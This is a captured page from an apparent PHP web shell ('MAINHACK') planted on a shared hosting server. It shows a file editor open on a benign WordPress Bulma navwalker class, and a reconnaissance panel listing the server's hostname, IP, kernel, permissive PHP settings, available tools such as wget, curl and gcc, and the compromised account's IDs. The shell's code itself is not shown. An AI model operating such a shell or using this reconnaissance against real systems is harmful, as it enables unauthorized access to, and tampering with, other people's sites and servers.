[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: navwalker.php
<?php /** * Bulma-Navwalker * * @package Bulma-Navwalker */ /** * Class Name: Navwalker * Plugin Name: Bulma Navwalker * Plugin URI: https://github.com/Poruno/Bulma-Navwalker * Description: An extended WordPress Navwalker object that displays Bulma framework's Navbar https://bulma.io/ in WordPress. * Author: Carlo Operio - https://www.linkedin.com/in/carlooperio/, Bulma-Framework * Author URI: https://github.com/wp-bootstrap * License: GPL-3.0+ * License URI: https://github.com/Poruno/Bulma-Navwalker/blob/master/LICENSE */ class Navwalker extends Walker_Nav_Menu { public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { $lowerCaseTitle = strtolower($item->title); $linkTitle = str_replace(' ', '', $lowerCaseTitle); $liClasses = 'navbar-item '.$linkTitle; $hasChildren = $args->walker->has_children; $liClasses .= $hasChildren ? " has-dropdown is-hoverable": ""; $linkClasses = $hasChildren ? "" : "is-arrowless"; $output .= '<li class="'.$liClasses.'">'; $output .= '<a class="navbar-link '.$linkClasses.'" href="'.$item->url.'">'.$item->title.'</a>'; // Adds has_children class to the item so end_el can determine if the current element has children if ( $hasChildren ) { $item->classes[] = "has_children"; } } public function start_lvl( &$output, $depth = 0, $args = array() ) { $output .= '<ul class="navbar-dropdown">'; } public function end_lvl (&$output, $depth = 0, $args = array()) { $output .= "</ul>"; } public function end_el(&$output, $item, $depth = 0, $args = array(), $id = 0 ){ $output .= "</li>"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619